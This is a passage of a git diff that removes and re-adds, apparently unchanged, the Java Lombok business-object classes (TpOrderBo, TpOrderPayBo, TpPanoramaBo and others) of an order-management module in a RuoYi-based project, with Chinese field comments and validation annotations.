*/ - private String bname; - - /** - * 客户名称 - */ - private String cname; - - /** - * 微信编号 - */ - private String wcode; - - /** - * 微信昵称 - */ - private String wname; - - private Long deptId; - - private String ancestors; - - private Long deptIdJs; - - private String ancestorsJs; - - /** - * 客户手机号码 - */ - private String phone; - - /** - * 客户客服ID - */ - private Long skid; - - /** - * json记录 - */ - private String record; - - /** - * 部门id集合 - */ - private List deptIds; - - /** - * 用户id - */ - private Long userId; - - /** - * 订单id集合 - */ - private List orderIds; - - /** - * 1:客服,2:技术 - */ - private int kfOrjs; - - /** - * 备用字段1 - */ - private String byOne; - - /** - * 备用字段2 - */ - private String byTwo; - - /** - * 备用字段3 - */ - private String byThree; - - /** - * 备用字段4 - */ - private Integer byFour; - - /** - * 满意度时间 - */ - private Date satisfiedTime; - - /** - * 抵扣金 - */ - private BigDecimal coupon; - - /** - * 集材社订单ID - */ - private Long jcsOrderId; - - /** - * 违约金 - */ - private BigDecimal breach; - -} +package org.dromara.work.domain.bo; + +import io.github.linpeilie.annotations.AutoMapper; +import jakarta.validation.constraints.NotNull; +import lombok.Data; +import lombok.EqualsAndHashCode; +import org.dromara.common.core.validate.AddGroup; +import org.dromara.common.core.validate.EditGroup; +import org.dromara.common.mybatis.core.domain.BaseEntity; +import org.dromara.work.domain.TpOrder; + +import java.math.BigDecimal; +import java.util.Date; +import java.util.List; + +/** + * 订单管理业务对象 tp_order + * + * @author Maosw + * @date 2024-08-12 + */ +@Data +@EqualsAndHashCode(callSuper = true) +@AutoMapper(target = TpOrder.class, reverseConvertGenerate = false) +public class TpOrderBo extends BaseEntity { + + /** + *ID + */ + @NotNull(message = "不能为空", groups = { EditGroup.class }) + private Long id; + + /** + * 订单编号 + */ + private String orderId; + + /** + * 订单客户 + */ + private Long kid; + + /** + * 订单微信 + */ + private Long wid; + + /** + * 订单风格 + */ + private Long style; + + /** + * 订单空间 + */ + private String space; + + /** + * 订单品质 + */ + private Long quality; + + /** + * 备注 + */ + private String remark; + + /** + * 订单类型 + */ + private Long type; + + /** + * 状态(1录入订单,2上传小图,3上传大图,4已完成,5已评价) + */ + private Integer state; + + /** + * 图纸数量 + */ + @NotNull(message = "图纸数量不能为空", groups = { AddGroup.class, EditGroup.class }) + private Long num; + + /** + * 客服ID + */ + private Long sid; + + /** + * 客服编号 + */ + private String scode; + + /** + * 分图人员 + */ + private Long fid; + + /** + * 分图员编号 + */ + private String fcode; + + /** + * 表现师ID + */ + private String bid; + + /** + * 表现是编号 + */ + private String bcode; + + /** + * 分配状态 1:未分配 2:已分配 + */ + private Integer assignState; + + /** + * 订单价格 + */ + @NotNull(message = "订单价格不能为空", groups = { AddGroup.class, EditGroup.class }) + private BigDecimal price; + + /** + * 定金 + */ + private BigDecimal djPrice; + + /** + * 技术备注 + */ + private String jsRemark; + + /** + * 支付状态(1=待支付,2=尾款待支付,3=已支付) + */ + private Integer payState; + + /** + * 已付款 + */ + private BigDecimal payPrice; + + /** + * 尾款 + */ + private BigDecimal endPrice; + + /** + * 改价价格 + */ + private BigDecimal gjPrice; + + /** + * 是否删除(1=未删除,2=已删除) + */ + private Integer isDel; + + /** + * 下单时间 + */ + private Date addTime; + + /** + * 对图时间 + */ + private Date dtTime; + + /** + * 定金支付时间 + */ + private Date djpTime; + + /** + * 尾款支付时间 + */ + private Date endpTime; + + /** + * 完成时间 + */ + private Date finishTime; + + /** + * 拆单价格 + */ + private BigDecimal cdPrice; + + /** + * 技术订单价格 + */ + private BigDecimal jsPrice; + + /** + * 技术已付款 + */ + private BigDecimal jsPayPrice; + + /** + * 是否自动改价(1=否,2=是) + */ + private Integer isC; + + /** + * 自动改价价格 + */ + private BigDecimal zGjPrice; + + /** + * 客户已付款 + */ + private BigDecimal khpay; + + /** + * 改价已付款 + */ + private BigDecimal gpay; + + /** + * 是否拆单(1=否,2=是) + */ + private Integer isCd; + + /** + * 客服已付款 + */ + private BigDecimal kfpay; + + + /** + * 接待客服名称 + */ + private String sname; + + /** + * 分图员名称 + */ + private String fname; + + /** + * 表现师名称 + */ + private String bname; + + /** + * 客户名称 + */ + private String cname; + + /** + * 微信编号 + */ + private String wcode; + + /** + * 微信昵称 + */ + private String wname; + + private Long deptId; + + private String ancestors; + + private Long deptIdJs; + + private String ancestorsJs; + + /** + * 客户手机号码 + */ + private String phone; + + /** + * 客户客服ID + */ + private Long skid; + + /** + * json记录 + */ + private String record; + + /** + * 部门id集合 + */ + private List deptIds; + + /** + * 用户id + */ + private Long userId; + + /** + * 订单id集合 + */ + private List orderIds; + + /** + * 1:客服,2:技术 + */ + private int kfOrjs; + + /** + * 备用字段1 + */ + private String byOne; + + /** + * 备用字段2 + */ + private String byTwo; + + /** + * 备用字段3 + */ + private String byThree; + + /** + * 备用字段4 + */ + private Integer byFour; + + /** + * 满意度时间 + */ + private Date satisfiedTime; + + /** + * 抵扣金 + */ + private BigDecimal coupon; + + /** + * 集材社订单ID + */ + private Long jcsOrderId; + + /** + * 违约金 + */ + private BigDecimal breach; + +} diff --git a/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/domain/bo/TpOrderCdBo.java b/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/domain/bo/TpOrderCdBo.java index d99de77..5a67c49 100644 --- a/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/domain/bo/TpOrderCdBo.java +++ b/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/domain/bo/TpOrderCdBo.java @@ -1,56 +1,56 @@ -package org.dromara.work.domain.bo; - -import io.github.linpeilie.annotations.AutoMapper; -import jakarta.validation.constraints.NotNull; -import lombok.Data; -import lombok.EqualsAndHashCode; -import org.dromara.common.core.validate.AddGroup; -import org.dromara.common.core.validate.EditGroup; -import org.dromara.common.mybatis.core.domain.BaseEntity; -import org.dromara.work.domain.TpOrderCd; - -import java.math.BigDecimal; - -/** - * 拆单记录业务对象 tp_order_cd - * - * @author Maosw - * @date 2024-08-12 - */ -@Data -@EqualsAndHashCode(callSuper = true) -@AutoMapper(target = TpOrderCd.class, reverseConvertGenerate = false) -public class TpOrderCdBo extends BaseEntity { - - /** - * - */ - @NotNull(message = "不能为空", groups = { EditGroup.class }) - private Long id; - - /** - * 所属订单 - */ - @NotNull(message = "所属订单不能为空", groups = { AddGroup.class, EditGroup.class }) - private Long oid; - - /** - * 订单价格 - */ - @NotNull(message = "订单价格不能为空", groups = { AddGroup.class, EditGroup.class }) - private BigDecimal price; - - /** - * 下单时间 - */ - @NotNull(message = "下单时间不能为空", groups = { AddGroup.class, EditGroup.class }) - private Long addTime; - - /** - * 操作人 - */ - @NotNull(message = "操作人不能为空", groups = { AddGroup.class, EditGroup.class }) - private Long addUser; - - -} +package org.dromara.work.domain.bo; + +import io.github.linpeilie.annotations.AutoMapper; +import jakarta.validation.constraints.NotNull; +import lombok.Data; +import lombok.EqualsAndHashCode; +import org.dromara.common.core.validate.AddGroup; +import org.dromara.common.core.validate.EditGroup; +import org.dromara.common.mybatis.core.domain.BaseEntity; +import org.dromara.work.domain.TpOrderCd; + +import java.math.BigDecimal; + +/** + * 拆单记录业务对象 tp_order_cd + * + * @author Maosw + * @date 2024-08-12 + */ +@Data +@EqualsAndHashCode(callSuper = true) +@AutoMapper(target = TpOrderCd.class, reverseConvertGenerate = false) +public class TpOrderCdBo extends BaseEntity { + + /** + * + */ + @NotNull(message = "不能为空", groups = { EditGroup.class }) + private Long id; + + /** + * 所属订单 + */ + @NotNull(message = "所属订单不能为空", groups = { AddGroup.class, EditGroup.class }) + private Long oid; + + /** + * 订单价格 + */ + @NotNull(message = "订单价格不能为空", groups = { AddGroup.class, EditGroup.class }) + private BigDecimal price; + + /** + * 下单时间 + */ + @NotNull(message = "下单时间不能为空", groups = { AddGroup.class, EditGroup.class }) + private Long addTime; + + /** + * 操作人 + */ + @NotNull(message = "操作人不能为空", groups = { AddGroup.class, EditGroup.class }) + private Long addUser; + + +} diff --git a/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/domain/bo/TpOrderCommentBo.java b/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/domain/bo/TpOrderCommentBo.java index 0cb8ee1..5723033 100644 --- a/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/domain/bo/TpOrderCommentBo.java +++ b/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/domain/bo/TpOrderCommentBo.java @@ -1,87 +1,87 @@ -package org.dromara.work.domain.bo; - -import io.github.linpeilie.annotations.AutoMapper; -import jakarta.validation.constraints.NotBlank; -import jakarta.validation.constraints.NotNull; -import lombok.Data; -import lombok.EqualsAndHashCode; -import org.dromara.common.core.validate.AddGroup; -import org.dromara.common.core.validate.EditGroup; -import org.dromara.common.mybatis.core.domain.BaseEntity; -import org.dromara.work.domain.TpOrderComment; - -import java.util.Date; - -/** - * 订单评论业务对象 tp_order_comment - * - * @author Maosw - * @date 2024-08-12 - */ -@Data -@EqualsAndHashCode(callSuper = true) -@AutoMapper(target = TpOrderComment.class, reverseConvertGenerate = false) -public class TpOrderCommentBo extends BaseEntity { - - /** - * - */ - @NotNull(message = "不能为空", groups = { EditGroup.class }) - private Long id; - - /** - * 所属订单 - */ - @NotNull(message = "所属订单不能为空", groups = { AddGroup.class, EditGroup.class }) - private Long oid; - - /** - * 评论人 - */ - @NotNull(message = "评论人不能为空", groups = { AddGroup.class, EditGroup.class }) - private Long uid; - - /** - * 评价等级(1=差评,2=中评,3=好评) - */ - @NotNull(message = "评价等级(1=差评,2=中评,3=好评)不能为空", groups = { AddGroup.class, EditGroup.class }) - private Long grade; - - /** - * 速度 - */ - @NotNull(message = "速度不能为空", groups = { AddGroup.class, EditGroup.class }) - private Long speed; - - /** - * 质量、 - */ - @NotNull(message = "质量、不能为空", groups = { AddGroup.class, EditGroup.class }) - private Long quality; - - /** - * 服务 - */ - @NotNull(message = "服务不能为空", groups = { AddGroup.class, EditGroup.class }) - private Long serve; - - /** - * 评论内容 - */ - @NotBlank(message = "评论内容不能为空", groups = { AddGroup.class, EditGroup.class }) - private String content; - - /** - * 评论时间 - */ - @NotNull(message = "评论时间不能为空", groups = { AddGroup.class, EditGroup.class }) - private Date addTime; - - /** - * 提交人类型(1=用户,2=客服) - */ - @NotNull(message = "提交人类型(1=用户,2=客服)不能为空", groups = { AddGroup.class, EditGroup.class }) - private Long type; - - -} +package org.dromara.work.domain.bo; + +import io.github.linpeilie.annotations.AutoMapper; +import jakarta.validation.constraints.NotBlank; +import jakarta.validation.constraints.NotNull; +import lombok.Data; +import lombok.EqualsAndHashCode; +import org.dromara.common.core.validate.AddGroup; +import org.dromara.common.core.validate.EditGroup; +import org.dromara.common.mybatis.core.domain.BaseEntity; +import org.dromara.work.domain.TpOrderComment; + +import java.util.Date; + +/** + * 订单评论业务对象 tp_order_comment + * + * @author Maosw + * @date 2024-08-12 + */ +@Data +@EqualsAndHashCode(callSuper = true) +@AutoMapper(target = TpOrderComment.class, reverseConvertGenerate = false) +public class TpOrderCommentBo extends BaseEntity { + + /** + * + */ + @NotNull(message = "不能为空", groups = { EditGroup.class }) + private Long id; + + /** + * 所属订单 + */ + @NotNull(message = "所属订单不能为空", groups = { AddGroup.class, EditGroup.class }) + private Long oid; + + /** + * 评论人 + */ + @NotNull(message = "评论人不能为空", groups = { AddGroup.class, EditGroup.class }) + private Long uid; + + /** + * 评价等级(1=差评,2=中评,3=好评) + */ + @NotNull(message = "评价等级(1=差评,2=中评,3=好评)不能为空", groups = { AddGroup.class, EditGroup.class }) + private Long grade; + + /** + * 速度 + */ + @NotNull(message = "速度不能为空", groups = { AddGroup.class, EditGroup.class }) + private Long speed; + + /** + * 质量、 + */ + @NotNull(message = "质量、不能为空", groups = { AddGroup.class, EditGroup.class }) + private Long quality; + + /** + * 服务 + */ + @NotNull(message = "服务不能为空", groups = { AddGroup.class, EditGroup.class }) + private Long serve; + + /** + * 评论内容 + */ + @NotBlank(message = "评论内容不能为空", groups = { AddGroup.class, EditGroup.class }) + private String content; + + /** + * 评论时间 + */ + @NotNull(message = "评论时间不能为空", groups = { AddGroup.class, EditGroup.class }) + private Date addTime; + + /** + * 提交人类型(1=用户,2=客服) + */ + @NotNull(message = "提交人类型(1=用户,2=客服)不能为空", groups = { AddGroup.class, EditGroup.class }) + private Long type; + + +} diff --git a/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/domain/bo/TpOrderModelBo.java b/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/domain/bo/TpOrderModelBo.java index fbd0f49..e04a4c5 100644 --- a/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/domain/bo/TpOrderModelBo.java +++ b/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/domain/bo/TpOrderModelBo.java @@ -1,70 +1,70 @@ -package org.dromara.work.domain.bo; - -import com.baomidou.mybatisplus.annotation.TableField; -import com.fasterxml.jackson.annotation.JsonInclude; -import io.github.linpeilie.annotations.AutoMapper; -import jakarta.validation.constraints.NotBlank; -import jakarta.validation.constraints.NotNull; -import lombok.Data; -import lombok.EqualsAndHashCode; -import org.dromara.common.core.validate.AddGroup; -import org.dromara.common.core.validate.EditGroup; -import org.dromara.work.domain.TpOrderModel; - -import java.util.Date; -import java.util.HashMap; -import java.util.Map; - -/** - * 订单模型业务对象 tp_order_model - * - * @author Maosw - * @date 2024-08-12 - */ -@Data -@EqualsAndHashCode(callSuper = false) -@AutoMapper(target = TpOrderModel.class, reverseConvertGenerate = false) -public class TpOrderModelBo { - - /** - * - */ - @NotNull(message = "不能为空", groups = { EditGroup.class }) - private Long id; - - /** - * 所属订单 - */ - @NotNull(message = "所属订单不能为空", groups = { AddGroup.class, EditGroup.class }) - private Long oid; - - /** - * 模型名称 - */ - @NotBlank(message = "模型名称不能为空", groups = { AddGroup.class, EditGroup.class }) - private String name; - - /** - * 模型地址 - */ - @NotBlank(message = "模型地址不能为空", groups = { AddGroup.class, EditGroup.class }) - private String pic; - - /** - * 上传时间 - */ - private Date addTime; - - /** - * 操作人 - */ - private Long addUser; - - /** - * 请求参数 - */ - @JsonInclude(JsonInclude.Include.NON_EMPTY) - @TableField(exist = false) - private Map params = new HashMap<>(); - -} +package org.dromara.work.domain.bo; + +import com.baomidou.mybatisplus.annotation.TableField; +import com.fasterxml.jackson.annotation.JsonInclude; +import io.github.linpeilie.annotations.AutoMapper; +import jakarta.validation.constraints.NotBlank; +import jakarta.validation.constraints.NotNull; +import lombok.Data; +import lombok.EqualsAndHashCode; +import org.dromara.common.core.validate.AddGroup; +import org.dromara.common.core.validate.EditGroup; +import org.dromara.work.domain.TpOrderModel; + +import java.util.Date; +import java.util.HashMap; +import java.util.Map; + +/** + * 订单模型业务对象 tp_order_model + * + * @author Maosw + * @date 2024-08-12 + */ +@Data +@EqualsAndHashCode(callSuper = false) +@AutoMapper(target = TpOrderModel.class, reverseConvertGenerate = false) +public class TpOrderModelBo { + + /** + * + */ + @NotNull(message = "不能为空", groups = { EditGroup.class }) + private Long id; + + /** + * 所属订单 + */ + @NotNull(message = "所属订单不能为空", groups = { AddGroup.class, EditGroup.class }) + private Long oid; + + /** + * 模型名称 + */ + @NotBlank(message = "模型名称不能为空", groups = { AddGroup.class, EditGroup.class }) + private String name; + + /** + * 模型地址 + */ + @NotBlank(message = "模型地址不能为空", groups = { AddGroup.class, EditGroup.class }) + private String pic; + + /** + * 上传时间 + */ + private Date addTime; + + /** + * 操作人 + */ + private Long addUser; + + /** + * 请求参数 + */ + @JsonInclude(JsonInclude.Include.NON_EMPTY) + @TableField(exist = false) + private Map params = new HashMap<>(); + +} diff --git a/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/domain/bo/TpOrderPayBo.java b/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/domain/bo/TpOrderPayBo.java index e4a9968..09b9841 100644 --- a/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/domain/bo/TpOrderPayBo.java +++ b/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/domain/bo/TpOrderPayBo.java @@ -1,67 +1,67 @@ -package org.dromara.work.domain.bo; - -import io.github.linpeilie.annotations.AutoMapper; -import jakarta.validation.constraints.NotBlank; -import jakarta.validation.constraints.NotNull; -import lombok.Data; -import lombok.EqualsAndHashCode; -import org.dromara.common.core.validate.AddGroup; -import org.dromara.common.core.validate.EditGroup; -import org.dromara.common.mybatis.core.domain.BaseEntity; -import org.dromara.work.domain.TpOrderPay; - -/** - * 订单支付记录业务对象 tp_order_pay - * - * @author Maosw - * @date 2024-08-12 - */ -@Data -@EqualsAndHashCode(callSuper = true) -@AutoMapper(target = TpOrderPay.class, reverseConvertGenerate = false) -public class TpOrderPayBo extends BaseEntity { - - /** - * - */ - @NotNull(message = "不能为空", groups = { EditGroup.class }) - private Long id; - - /** - * 所属订单 - */ - @NotNull(message = "所属订单不能为空", groups = { AddGroup.class, EditGroup.class }) - private Long oid; - - /** - * 订单编号 - */ - @NotBlank(message = "订单编号不能为空", groups = { AddGroup.class, EditGroup.class }) - private String orderId; - - /** - * 订单价格 - */ - @NotNull(message = "订单价格不能为空", groups = { AddGroup.class, EditGroup.class }) - private Long price; - - /** - * 状态(1待支付,2已支付) - */ - @NotNull(message = "状态(1待支付,2已支付)不能为空", groups = { AddGroup.class, EditGroup.class }) - private Long state; - - /** - * 下单时间 - */ - @NotNull(message = "下单时间不能为空", groups = { AddGroup.class, EditGroup.class }) - private Long addTime; - - /** - * transaction_id - */ - @NotBlank(message = "transaction_id不能为空", groups = { AddGroup.class, EditGroup.class }) - private String transactionId; - - -} +package org.dromara.work.domain.bo; + +import io.github.linpeilie.annotations.AutoMapper; +import jakarta.validation.constraints.NotBlank; +import jakarta.validation.constraints.NotNull; +import lombok.Data; +import lombok.EqualsAndHashCode; +import org.dromara.common.core.validate.AddGroup; +import org.dromara.common.core.validate.EditGroup; +import org.dromara.common.mybatis.core.domain.BaseEntity; +import org.dromara.work.domain.TpOrderPay; + +/** + * 订单支付记录业务对象 tp_order_pay + * + * @author Maosw + * @date 2024-08-12 + */ +@Data +@EqualsAndHashCode(callSuper = true) +@AutoMapper(target = TpOrderPay.class, reverseConvertGenerate = false) +public class TpOrderPayBo extends BaseEntity { + + /** + * + */ + @NotNull(message = "不能为空", groups = { EditGroup.class }) + private Long id; + + /** + * 所属订单 + */ + @NotNull(message = "所属订单不能为空", groups = { AddGroup.class, EditGroup.class }) + private Long oid; + + /** + * 订单编号 + */ + @NotBlank(message = "订单编号不能为空", groups = { AddGroup.class, EditGroup.class }) + private String orderId; + + /** + * 订单价格 + */ + @NotNull(message = "订单价格不能为空", groups = { AddGroup.class, EditGroup.class }) + private Long price; + + /** + * 状态(1待支付,2已支付) + */ + @NotNull(message = "状态(1待支付,2已支付)不能为空", groups = { AddGroup.class, EditGroup.class }) + private Long state; + + /** + * 下单时间 + */ + @NotNull(message = "下单时间不能为空", groups = { AddGroup.class, EditGroup.class }) + private Long addTime; + + /** + * transaction_id + */ + @NotBlank(message = "transaction_id不能为空", groups = { AddGroup.class, EditGroup.class }) + private String transactionId; + + +} diff --git a/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/domain/bo/TpOrderRecordBo.java b/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/domain/bo/TpOrderRecordBo.java index 55865b4..1d5d47a 100644 --- a/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/domain/bo/TpOrderRecordBo.java +++ b/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/domain/bo/TpOrderRecordBo.java @@ -1,78 +1,78 @@ -package org.dromara.work.domain.bo; - -import com.baomidou.mybatisplus.annotation.TableField; -import com.fasterxml.jackson.annotation.JsonInclude; -import io.github.linpeilie.annotations.AutoMapper; -import jakarta.validation.constraints.NotBlank; -import jakarta.validation.constraints.NotNull; -import lombok.Data; -import lombok.EqualsAndHashCode; -import org.dromara.common.core.validate.AddGroup; -import org.dromara.common.core.validate.EditGroup; -import org.dromara.work.domain.TpOrderRecord; - -import java.util.Date; -import java.util.HashMap; -import java.util.Map; - -/** - * 操作历史业务对象 tp_order_record - * - * @author Maosw - * @date 2024-08-12 - */ -@Data -@EqualsAndHashCode(callSuper = false) -@AutoMapper(target = TpOrderRecord.class, reverseConvertGenerate = false) -public class TpOrderRecordBo { - - /** - * - */ - @NotNull(message = "不能为空", groups = { EditGroup.class }) - private Long id; - - /** - * 所属订单 - */ - @NotNull(message = "所属订单不能为空", groups = { AddGroup.class, EditGroup.class }) - private Long oid; - - /** - * 操作类型 - */ - @NotBlank(message = "操作类型不能为空", groups = { AddGroup.class, EditGroup.class }) - private String type; - - /** - * 操作内容 - */ - @NotBlank(message = "操作内容不能为空", groups = { AddGroup.class, EditGroup.class }) - private String content; - - /** - * 操作人 - */ - @NotNull(message = "操作人不能为空", groups = { AddGroup.class, EditGroup.class }) - private Long addUser; - - /** - * 操作时间 - */ - @NotNull(message = "操作时间不能为空", groups = { AddGroup.class, EditGroup.class }) - private Date addTime; - - /** - * 操作状态(1=记录,2=节点) - */ - @NotNull(message = "操作状态(1=记录,2=节点)不能为空", groups = { AddGroup.class, EditGroup.class }) - private Long state; - - /** - * 请求参数 - */ - @JsonInclude(JsonInclude.Include.NON_EMPTY) - @TableField(exist = false) - private Map params = new HashMap<>(); - -} +package org.dromara.work.domain.bo; + +import com.baomidou.mybatisplus.annotation.TableField; +import com.fasterxml.jackson.annotation.JsonInclude; +import io.github.linpeilie.annotations.AutoMapper; +import jakarta.validation.constraints.NotBlank; +import jakarta.validation.constraints.NotNull; +import lombok.Data; +import lombok.EqualsAndHashCode; +import org.dromara.common.core.validate.AddGroup; +import org.dromara.common.core.validate.EditGroup; +import org.dromara.work.domain.TpOrderRecord; + +import java.util.Date; +import java.util.HashMap; +import java.util.Map; + +/** + * 操作历史业务对象 tp_order_record + * + * @author Maosw + * @date 2024-08-12 + */ +@Data +@EqualsAndHashCode(callSuper = false) +@AutoMapper(target = TpOrderRecord.class, reverseConvertGenerate = false) +public class TpOrderRecordBo { + + /** + * + */ + @NotNull(message = "不能为空", groups = { EditGroup.class }) + private Long id; + + /** + * 所属订单 + */ + @NotNull(message = "所属订单不能为空", groups = { AddGroup.class, EditGroup.class }) + private Long oid; + + /** + * 操作类型 + */ + @NotBlank(message = "操作类型不能为空", groups = { AddGroup.class, EditGroup.class }) + private String type; + + /** + * 操作内容 + */ + @NotBlank(message = "操作内容不能为空", groups = { AddGroup.class, EditGroup.class }) + private String content; + + /** + * 操作人 + */ + @NotNull(message = "操作人不能为空", groups = { AddGroup.class, EditGroup.class }) + private Long addUser; + + /** + * 操作时间 + */ + @NotNull(message = "操作时间不能为空", groups = { AddGroup.class, EditGroup.class }) + private Date addTime; + + /** + * 操作状态(1=记录,2=节点) + */ + @NotNull(message = "操作状态(1=记录,2=节点)不能为空", groups = { AddGroup.class, EditGroup.class }) + private Long state; + + /** + * 请求参数 + */ + @JsonInclude(JsonInclude.Include.NON_EMPTY) + @TableField(exist = false) + private Map params = new HashMap<>(); + +} diff --git a/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/domain/bo/TpOrderSmallBo.java b/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/domain/bo/TpOrderSmallBo.java index 4f932f4..57ae876 100644 --- a/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/domain/bo/TpOrderSmallBo.java +++ b/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/domain/bo/TpOrderSmallBo.java @@ -1,70 +1,70 @@ -package org.dromara.work.domain.bo; - -import com.baomidou.mybatisplus.annotation.TableField; -import com.fasterxml.jackson.annotation.JsonInclude; -import io.github.linpeilie.annotations.AutoMapper; -import jakarta.validation.constraints.NotBlank; -import jakarta.validation.constraints.NotNull; -import lombok.Data; -import lombok.EqualsAndHashCode; -import org.dromara.common.core.validate.AddGroup; -import org.dromara.common.core.validate.EditGroup; -import org.dromara.work.domain.TpOrderSmall; - -import java.util.Date; -import java.util.HashMap; -import java.util.Map; - -/** - * 订单小图业务对象 tp_order_small - * - * @author Maosw - * @date 2024-08-12 - */ -@Data -@EqualsAndHashCode(callSuper = false) -@AutoMapper(target = TpOrderSmall.class, reverseConvertGenerate = false) -public class TpOrderSmallBo { - - /** - * - */ - @NotNull(message = "不能为空", groups = { EditGroup.class }) - private Long id; - - /** - * 所属订单 - */ - @NotNull(message = "所属订单不能为空", groups = { AddGroup.class, EditGroup.class }) - private Long oid; - - /** - * 图片名称 - */ - @NotBlank(message = "图片名称不能为空", groups = { AddGroup.class, EditGroup.class }) - private String name; - - /** - * 图片地址 - */ - @NotBlank(message = "图片地址不能为空", groups = { AddGroup.class, EditGroup.class }) - private String pic; - - /** - * 上传时间 - */ - private Date addTime; - - /** - * 操作人 - */ - private Long addUser; - - /** - * 请求参数 - */ - @JsonInclude(JsonInclude.Include.NON_EMPTY) - @TableField(exist = false) - private Map params = new HashMap<>(); - -} +package org.dromara.work.domain.bo; + +import com.baomidou.mybatisplus.annotation.TableField; +import com.fasterxml.jackson.annotation.JsonInclude; +import io.github.linpeilie.annotations.AutoMapper; +import jakarta.validation.constraints.NotBlank; +import jakarta.validation.constraints.NotNull; +import lombok.Data; +import lombok.EqualsAndHashCode; +import org.dromara.common.core.validate.AddGroup; +import org.dromara.common.core.validate.EditGroup; +import org.dromara.work.domain.TpOrderSmall; + +import java.util.Date; +import java.util.HashMap; +import java.util.Map; + +/** + * 订单小图业务对象 tp_order_small + * + * @author Maosw + * @date 2024-08-12 + */ +@Data +@EqualsAndHashCode(callSuper = false) +@AutoMapper(target = TpOrderSmall.class, reverseConvertGenerate = false) +public class TpOrderSmallBo { + + /** + * + */ + @NotNull(message = "不能为空", groups = { EditGroup.class }) + private Long id; + + /** + * 所属订单 + */ + @NotNull(message = "所属订单不能为空", groups = { AddGroup.class, EditGroup.class }) + private Long oid; + + /** + * 图片名称 + */ + @NotBlank(message = "图片名称不能为空", groups = { AddGroup.class, EditGroup.class }) + private String name; + + /** + * 图片地址 + */ + @NotBlank(message = "图片地址不能为空", groups = { AddGroup.class, EditGroup.class }) + private String pic; + + /** + * 上传时间 + */ + private Date addTime; + + /** + * 操作人 + */ + private Long addUser; + + /** + * 请求参数 + */ + @JsonInclude(JsonInclude.Include.NON_EMPTY) + @TableField(exist = false) + private Map params = new HashMap<>(); + +} diff --git a/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/domain/bo/TpPanoramaBo.java b/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/domain/bo/TpPanoramaBo.java index 16c8b7c..daed68c 100644 --- a/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/domain/bo/TpPanoramaBo.java +++ b/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/domain/bo/TpPanoramaBo.java @@ -1,75 +1,75 @@ -package org.dromara.work.domain.bo; - -import org.dromara.work.domain.TpPanorama; -import org.dromara.common.mybatis.core.domain.BaseEntity; -import org.dromara.common.core.validate.AddGroup; -import org.dromara.common.core.validate.EditGroup; -import io.github.linpeilie.annotations.AutoMapper; -import lombok.Data; -import lombok.EqualsAndHashCode; -import jakarta.validation.constraints.*; - -/** - * 全景业务对象 tp_panorama - * - * @author Maosw - * @date 2025-03-26 - */ -@Data -@EqualsAndHashCode(callSuper = true) -@AutoMapper(target = TpPanorama.class, reverseConvertGenerate = false) -public class TpPanoramaBo extends BaseEntity { - - /** - * ID - */ - @NotNull(message = "ID不能为空", groups = { EditGroup.class }) - private Long id; - - /** - * 订单ID - */ - private Long orderId; - - /** - * 标题 - */ - private String title; - - /** - * 背景链接 - */ - private String url; - - /** - * 热点 - */ - private String point; - - /** - * 样式 - */ - private String style; - - /** - * 图片 - */ - private String imgs; - - /** - * 宽度 - */ - private Long width; - - /** - * 排序 - */ - private Integer sort; - - /** - * 备注 - */ - private String remark; - - -} +package org.dromara.work.domain.bo; + +import org.dromara.work.domain.TpPanorama; +import org.dromara.common.mybatis.core.domain.BaseEntity; +import org.dromara.common.core.validate.AddGroup; +import org.dromara.common.core.validate.EditGroup; +import io.github.linpeilie.annotations.AutoMapper; +import lombok.Data; +import lombok.EqualsAndHashCode; +import jakarta.validation.constraints.*; + +/** + * 全景业务对象 tp_panorama + * + * @author Maosw + * @date 2025-03-26 + */ +@Data +@EqualsAndHashCode(callSuper = true) +@AutoMapper(target = TpPanorama.class, reverseConvertGenerate = false) +public class TpPanoramaBo extends BaseEntity { + + /** + * ID + */ + @NotNull(message = "ID不能为空", groups = { EditGroup.class }) + private Long id; + + /** + * 订单ID + */ + private Long orderId; + + /** + * 标题 + */ + private String title; + + /** + * 背景链接 + */ + private String url; + + /** + * 热点 + */ + private String point; + + /** + * 样式 + */ + private String style; + + /** + * 图片 + */ + private String imgs; + + /** + * 宽度 + */ + private Long width; + + /** + * 排序 + */ + private Integer sort; + + /** + * 备注 + */ + private String remark; + + +} diff --git a/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/domain/bo/TpProdBo.java b/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/domain/bo/TpProdBo.java index 30ef81c..8af593b 100644 --- a/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/domain/bo/TpProdBo.java +++ b/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/domain/bo/TpProdBo.java @@ -1,90 +1,90 @@ -package org.dromara.work.domain.bo; - -import io.github.linpeilie.annotations.AutoMapper; -import jakarta.validation.constraints.NotBlank; -import jakarta.validation.constraints.NotNull; -import lombok.Data; -import lombok.EqualsAndHashCode; -import org.dromara.common.core.validate.AddGroup; -import org.dromara.common.core.validate.EditGroup; -import org.dromara.common.mybatis.core.domain.BaseEntity; -import org.dromara.work.domain.TpProd; - -/** - 